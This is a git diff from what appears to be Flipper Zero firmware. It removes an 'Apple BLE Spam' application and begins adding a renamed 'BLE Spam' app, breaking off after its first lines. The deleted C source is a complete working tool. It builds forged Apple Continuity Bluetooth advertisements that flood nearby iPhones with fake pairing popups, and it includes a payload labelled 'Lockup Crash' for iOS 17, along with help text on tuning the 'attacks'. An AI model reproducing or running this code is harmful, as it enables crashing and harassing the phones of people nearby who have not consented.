diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c deleted file mode 100644 index de6ee8b22..000000000 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ /dev/null @@ -1,837 +0,0 @@ -#include -#include -#include -#include -#include -#include "apple_ble_spam_icons.h" - -#include "lib/continuity/continuity.h" - -typedef struct { - const char* title; - const char* text; - bool random; - ContinuityMsg msg; -} Payload; - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -static Payload - payloads[] = - { -#if false - {.title = "AirDrop", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirDrop, - .data = {.airdrop = {}}, - }}, - {.title = "Airplay Target", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirplayTarget, - .data = {.airplay_target = {}}, - }}, - {.title = "Handoff", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeHandoff, - .data = {.handoff = {}}, - }}, - {.title = "Tethering Source", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeTetheringSource, - .data = {.tethering_source = {}}, - }}, - {.title = "Mobile Backup", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x04}}, - }}, - {.title = "Watch Setup", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x05}}, - }}, - {.title = "Internet Relay", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x07}}, - }}, - {.title = "WiFi Password", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x08}}, - }}, - {.title = "Repair", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}}, - }}, - {.title = "Apple Pay", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}}, - }}, - {.title = "Developer Tools Pairing Request", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}}, - }}, - {.title = "Answered Call", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}}, - }}, - {.title = "Ended Call", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x10}}, - }}, - {.title = "DD Ping", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x11}}, - }}, - {.title = "DD Pong", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x12}}, - }}, - {.title = "Companion Link Proximity", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x14}}, - }}, - {.title = "Remote Management", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x15}}, - }}, - {.title = "Remote Auto Fill Pong", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x16}}, - }}, - {.title = "Remote Display", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}}, - }}, - {.title = "Nearby Info", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyInfo, - .data = {.nearby_info = {}}, - }}, -#endif - {.title = "Lockup Crash", - .text = "iOS 17, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeCustomCrash, - .data = {.custom_crash = {}}, - }}, - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, - }}, - {.title = "Random Pair", - .text = "Spam shuffle Proximity Pairs", - .random = true, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, - }}, - {.title = "AppleTV AutoFill", - .text = "Banner, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, - }}, - {.title = "AppleTV Connecting...", - .text = "Modal, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, - }}, - {.title = "Join This AppleTV?", - .text = "Modal, unlocked, spammy", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, - }}, - {.title = "AppleTV Audio Sync", - .text = "Banner, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, - }}, - {.title = "AppleTV Color Balance", - .text = "Banner, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, - }}, - {.title = "Setup New iPhone", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, - }}, - {.title = "Setup New Random", - .text = "Modal, locked, glitched", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, - }}, - {.title = "Transfer Phone Number", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, - }}, - {.title = "HomePod Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, - }}, - {.title = "AirPods Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, - }}, - {.title = "Beats Solo 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, - }}, - {.title = "AirPods Max", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, - }}, - {.title = "Beats Flex", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, - }}, - {.title = "Airtag", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, - }}, - {.title = "Hermes Airtag", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, - }}, - {.title = "Setup New AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, - }}, - {.title = "Pair AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, - }}, - {.title = "HomeKit AppleTV Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, - }}, - {.title = "AppleID for AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, - }}, - {.title = "AirPods", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, - }}, - {.title = "AirPods 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, - }}, - {.title = "AirPods 3rd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, - }}, - {.title = "AirPods Pro 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, - }}, - {.title = "Powerbeats 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, - }}, - {.title = "Powerbeats Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, - }}, - {.title = "Beats Solo Pro", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, - }}, - {.title = "Beats Studio Buds", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, - }}, - {.title = "Beats X", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, - }}, - {.title = "Beats Studio 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, - }}, - {.title = "Beats Studio Pro", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, - }}, - {.title = "Beats Fit Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, - }}, - {.title = "Beats Studio Buds+", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, - }}, -}; - -#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads)) - -struct { - uint8_t count; - ContinuityData** datas; -} randoms[ContinuityTypeCount] = {0}; - -uint16_t delays[] = { - 20, - 50, - 100, - 150, - 200, - 300, - 400, - 500, - 750, - 1000, - 1500, - 2000, - 2500, - 3000, - 4000, - 5000, -}; - -typedef struct { - bool resume; - bool advertising; - uint8_t delay; - uint8_t size; - uint8_t* packet; - Payload* payload; - FuriThread* thread; - uint8_t mac[GAP_MAC_ADDR_SIZE]; - int8_t index; -} State; - -static int32_t adv_thread(void* ctx) { - State* state = ctx; - Payload* payload = state->payload; - ContinuityMsg* msg = &payload->msg; - ContinuityType type = msg->type; - - while(state->advertising) { - if(payload->random) { - uint8_t random_i = rand() % randoms[type].count; - memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data)); - } - continuity_generate_packet(msg, state->packet); - furi_hal_bt_custom_adv_set(state->packet, state->size); - furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]); - } - - return 0; -} - -static void stop_adv(State* state) { - state->advertising = false; - furi_thread_flags_set(furi_thread_get_id(state->thread), true); - furi_thread_join(state->thread); - furi_hal_bt_custom_adv_stop(); -} - -static void start_adv(State* state) { - state->advertising = true; - furi_thread_start(state->thread); - uint16_t delay = delays[state->delay]; - furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F); -} - -static void toggle_adv(State* state, Payload* payload) { - if(state->advertising) { - stop_adv(state); - if(state->resume) furi_hal_bt_start_advertising(); - state->payload = NULL; - free(state->packet); - state->packet = NULL; - state->size = 0; - } else { - state->size = continuity_get_packet_size(payload->msg.type); - state->packet = malloc(state->size); - state->payload = payload; - furi_hal_random_fill_buf(state->mac, sizeof(state->mac)); - state->resume = furi_hal_bt_is_active(); - furi_hal_bt_stop_advertising(); - start_adv(state); - } -} - -#define PAGE_MIN (-5) -#define PAGE_MAX PAYLOAD_COUNT -enum { - PageApps = PAGE_MIN, - PageDelay, - PageDistance, - PageProximityPair, - PageNearbyAction, - PageStart = 0, - PageEnd = PAYLOAD_COUNT - 1, - PageAbout = PAGE_MAX, -}; - -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; - const char* back = "Back"; - const char* next = "Next"; - switch(state->index) { - case PageStart - 1: - next = "Spam"; - break; - case PageStart: - back = "Help"; - break; - case PageEnd: - next = "About"; - break; - case PageEnd + 1: - back = "Spam"; - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 3, 4, &I_apple_10px); - canvas_draw_str(canvas, 14, 12, "Apple BLE Spam"); - - switch(state->index) { - case PageApps: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Some Apps\e# interfere\n" - "with the attacks, stay on\n" - "homescreen for best results", - false); - break; - case PageDelay: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Delay\e# is time between\n" - "attack attempts (top right),\n" - "keep 20ms for best results", - false); - break; - case PageDistance: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", - false); - break; - case PageProximityPair: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Proximity Pair\e# attacks\n" - "keep spamming but work at\n" - "very close range", - false); - break; - case PageNearbyAction: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Nearby Actions\e# work one\n" - "time then need to lock and\n" - "unlock the phone", - false); - break; - case PageAbout: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About"); - elements_text_box( - canvas, - 4, - 16, - 122, - 48, - AlignLeft, - AlignTop, - "App+Spam by \e#WillyJL\e# XFW\n" - "IDs and Crash by \e#ECTO-1A\e#\n" - "Continuity by \e#furiousMAC\e#\n" - " Version \e#1.2\e#", - false); - break; - default: { - if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break; - const Payload* payload = &payloads[state->index]; - char str[32]; - - canvas_set_font(canvas, FontBatteryPercent); - snprintf(str, sizeof(str), "%ims", delays[state->delay]); - canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); - canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); - canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); - - canvas_set_font(canvas, FontBatteryPercent); - snprintf( - str, - sizeof(str), - "%02i/%02i: %s", - state->index + 1, - PAYLOAD_COUNT, - continuity_get_type_name(payload->msg.type)); - canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 4, 32, payload->title); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 4, 46, payload->text); - - elements_button_center(canvas, state->advertising ? "Stop" : "Start"); - break; - } - } - - if(state->index > PAGE_MIN) { - elements_button_left(canvas, back); - } - if(state->index < PAGE_MAX) { - elements_button_right(canvas, next); - } -} - -static void input_callback(InputEvent* input, void* ctx) { - FuriMessageQueue* input_queue = ctx; - if(input->type == InputTypeShort || input->type == InputTypeLong || - input->type == InputTypeRepeat) { - furi_message_queue_put(input_queue, input, 0); - } -} - -int32_t apple_ble_spam(void* p) { - UNUSED(p); - for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) { - if(payloads[payload_i].random) continue; - randoms[payloads[payload_i].msg.type].count++; - } - for(ContinuityType type = 0; type < ContinuityTypeCount; type++) { - if(!randoms[type].count) continue; - randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count); - uint8_t random_i = 0; - for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) { - if(payloads[payload_i].random) continue; - if(payloads[payload_i].msg.type == type) { - randoms[type].datas[random_i++] = &payloads[payload_i].msg.data; - } - } - } - - State* state = malloc(sizeof(State)); - state->thread = furi_thread_alloc(); - furi_thread_set_callback(state->thread, adv_thread); - furi_thread_set_context(state->thread, state); - furi_thread_set_stack_size(state->thread, 2048); - - FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - ViewPort* view_port = view_port_alloc(); - Gui* gui = furi_record_open(RECORD_GUI); - view_port_input_callback_set(view_port, input_callback, input_queue); - view_port_draw_callback_set(view_port, draw_callback, state); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - bool running = true; - while(running) { - InputEvent input; - furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk); - - Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ? - &payloads[state->index] : - NULL; - bool advertising = state->advertising; - switch(input.key) { - case InputKeyOk: - if(payload) toggle_adv(state, payload); - break; - case InputKeyUp: - if(payload && state->delay < COUNT_OF(delays) - 1) { - if(advertising) stop_adv(state); - state->delay++; - if(advertising) start_adv(state); - } - break; - case InputKeyDown: - if(payload && state->delay > 0) { - if(advertising) stop_adv(state); - state->delay--; - if(advertising) start_adv(state); - } - break; - case InputKeyLeft: - if(state->index > PAGE_MIN) { - if(advertising) toggle_adv(state, payload); - state->index--; - } - break; - case InputKeyRight: - if(state->index < PAGE_MAX) { - if(advertising) toggle_adv(state, payload); - state->index++; - } - break; - case InputKeyBack: - if(advertising) toggle_adv(state, payload); - running = false; - break; - default: - continue; - } - - view_port_update(view_port); - } - - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(input_queue); - - furi_thread_free(state->thread); - free(state); - - for(ContinuityType type = 0; type < ContinuityTypeCount; type++) { - free(randoms[type].datas); - } - return 0; -} diff --git a/applications/external/apple_ble_spam/application.fam b/applications/external/apple_ble_spam/application.fam deleted file mode 100644 index e387256de..000000000 --- a/applications/external/apple_ble_spam/application.fam +++ /dev/null @@ -1,20 +0,0 @@ -App( - appid="apple_ble_spam", - name="Apple BLE Spam", - apptype=FlipperAppType.EXTERNAL, - entry_point="apple_ble_spam", - stack_size=2 * 1024, - fap_icon="icons/apple_10px.png", - fap_category="Bluetooth", - fap_author="@Willy-JL & @ECTO-1A", - fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/apple_ble_spam", - fap_version="1.2", - fap_description="Spam Apple devices with annoying popups and notifications via BLE packets", - fap_icon_assets="icons", - fap_icon_assets_symbol="apple_ble_spam", - fap_private_libs=[ - Lib( - name="continuity", - ), - ], -) diff --git a/applications/external/apple_ble_spam/icons/apple_10px.png b/applications/external/apple_ble_spam/icons/apple_10px.png deleted file mode 100644 index 5bcf5eeb2..000000000 Binary files a/applications/external/apple_ble_spam/icons/apple_10px.png and /dev/null differ diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.c b/applications/external/apple_ble_spam/lib/continuity/continuity.c deleted file mode 100644 index 3e3616fb4..000000000 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.c +++ /dev/null @@ -1,165 +0,0 @@ -#include "continuity.h" -#include -#include - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -static const char* continuity_type_names[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = "AirDrop", - [ContinuityTypeProximityPair] = "Proximity Pair", - [ContinuityTypeAirplayTarget] = "Airplay Target", - [ContinuityTypeHandoff] = "Handoff", - [ContinuityTypeTetheringSource] = "Tethering Source", - [ContinuityTypeNearbyAction] = "Nearby Action", - [ContinuityTypeNearbyInfo] = "Nearby Info", - [ContinuityTypeCustomCrash] = "Custom Packet", -}; -const char* continuity_get_type_name(ContinuityType type) { - return continuity_type_names[type]; -} - -#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length -static uint8_t continuity_packet_sizes[ContinuityTypeCount] = { - [ContinuityTypeAirDrop] = HEADER_LEN + 18, - [ContinuityTypeProximityPair] = HEADER_LEN + 25, - [ContinuityTypeAirplayTarget] = HEADER_LEN + 6, - [ContinuityTypeHandoff] = HEADER_LEN + 14, - [ContinuityTypeTetheringSource] = HEADER_LEN + 6, - [ContinuityTypeNearbyAction] = HEADER_LEN + 5, - [ContinuityTypeNearbyInfo] = HEADER_LEN + 5, - [ContinuityTypeCustomCrash] = HEADER_LEN + 11, -}; -uint8_t continuity_get_packet_size(ContinuityType type) { - return continuity_packet_sizes[type]; -} - -void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) { - uint8_t size = continuity_get_packet_size(msg->type); - uint8_t i = 0; - - packet[i++] = size - 1; // Packet Length - packet[i++] = 0xFF; // Packet Type (Manufacturer Specific) - packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.) - packet[i++] = 0x00; // ... - packet[i++] = msg->type; // Continuity Type - packet[i] = size - i - 1; // Continuity Length - i++; - - switch(msg->type) { - case ContinuityTypeAirDrop: - packet[i++] = 0x00; // Zeros - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x00; // ... - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // AppleID - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Phone Number - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // Email2 - packet[i++] = (rand() % 256); // ... - packet[i++] = 0x00; // Zero - break; - - case ContinuityTypeProximityPair: - packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05) - packet[i++] = msg->data.proximity_pair.model >> 8; - packet[i++] = msg->data.proximity_pair.model & 0xFF; - packet[i++] = 0x55; // Status - packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level - packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level - packet[i++] = (rand() % 256); // Lid Open Counter - packet[i++] = 0x00; // Device Color - packet[i++] = 0x00; - furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload - i += 16; - break; - - case ContinuityTypeAirplayTarget: - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 256); // Configuration Seed - packet[i++] = (rand() % 256); // IPv4 Address - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeHandoff: - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Initialization Vector - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // AES-GCM Auth Tag - packet[i++] = (rand() % 256); // Encrypted Payload - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeTetheringSource: - packet[i++] = 0x01; // Version - packet[i++] = (rand() % 256); // Flags - packet[i++] = (rand() % 101); // Battery Life - packet[i++] = 0x00; // Cell Service Type - packet[i++] = (rand() % 8); // ... - packet[i++] = (rand() % 5); // Cell Service Strength - break; - - case ContinuityTypeNearbyAction: - packet[i] = msg->data.nearby_action.flags; // Action Flags - if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam - i++; - packet[i++] = msg->data.nearby_action.type; - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - break; - - case ContinuityTypeNearbyInfo: - packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code - packet[i++] = (rand() % 256); // Status Flags - packet[i++] = (rand() % 256); // Authentication Tag - packet[i++] = (rand() % 256); // ... - packet[i++] = (rand() % 256); // ... - break; - - case ContinuityTypeCustomCrash: - // Found by @ECTO-1A - - i -= 2; // Override segment header - packet[i++] = ContinuityTypeNearbyAction; // Type - packet[i++] = 0x05; // Length - packet[i++] = 0xC1; // Action Flags - const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0}; - packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type - furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag - i += 3; - - packet[i++] = 0x00; // ??? - packet[i++] = 0x00; // ??? - - packet[i++] = ContinuityTypeNearbyInfo; // Type ??? - furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ??? - i += 3; - break; - - default: - break; - } -} diff --git a/applications/external/apple_ble_spam/lib/continuity/continuity.h b/applications/external/apple_ble_spam/lib/continuity/continuity.h deleted file mode 100644 index d582df761..000000000 --- a/applications/external/apple_ble_spam/lib/continuity/continuity.h +++ /dev/null @@ -1,59 +0,0 @@ -#pragma once - -#include -#include - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -typedef enum { - ContinuityTypeAirDrop = 0x05, - ContinuityTypeProximityPair = 0x07, - ContinuityTypeAirplayTarget = 0x09, - ContinuityTypeHandoff = 0x0C, - ContinuityTypeTetheringSource = 0x0E, - ContinuityTypeNearbyAction = 0x0F, - ContinuityTypeNearbyInfo = 0x10, - - ContinuityTypeCustomCrash, - ContinuityTypeCount -} ContinuityType; - -typedef union { - struct { - } airdrop; - struct { - uint8_t prefix; - uint16_t model; - } proximity_pair; - struct { - } airplay_target; - struct { - } handoff; - struct { - } tethering_source; - struct { - uint8_t flags; - uint8_t type; - } nearby_action; - struct { - } nearby_info; - struct { - } custom_crash; -} ContinuityData; - -typedef struct { - ContinuityType type; - ContinuityData data; -} ContinuityMsg; - -const char* continuity_get_type_name(ContinuityType type); - -uint8_t continuity_get_packet_size(ContinuityType type); - -void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet); diff --git a/applications/external/apple_ble_spam/LICENSE b/applications/external/ble_spam/LICENSE similarity index 100% rename from applications/external/apple_ble_spam/LICENSE rename to applications/external/ble_spam/LICENSE diff --git a/applications/external/ble_spam/application.fam b/applications/external/ble_spam/application.fam new file mode 100644 index 000000000..1f0c019f1 --- /dev/null +++ b/applications/external/ble_spam/application.fam @@ -0,0 +1,15 @@ +App( + appid="ble_spam", + name="BLE Spam", + apptype=FlipperAppType.EXTERNAL, + entry_point="ble_spam", + stack_size=4 * 1024, + fap_icon="ble_spam_10px.png", + fap_category="Bluetooth", + fap_author="@Willy-JL & @ECTO-1A", + fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam", + fap_version="2.0", + fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications", + fap_icon_assets="icons", + fap_icon_assets_symbol="ble_spam", +) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c new file mode 100644 index 000000000..9a440471d --- /dev/null +++ b/applications/external/ble_spam/ble_spam.c @@ -0,0 +1,363 @@ +#include +#include +#include + +#include "protocols/_registry.h" 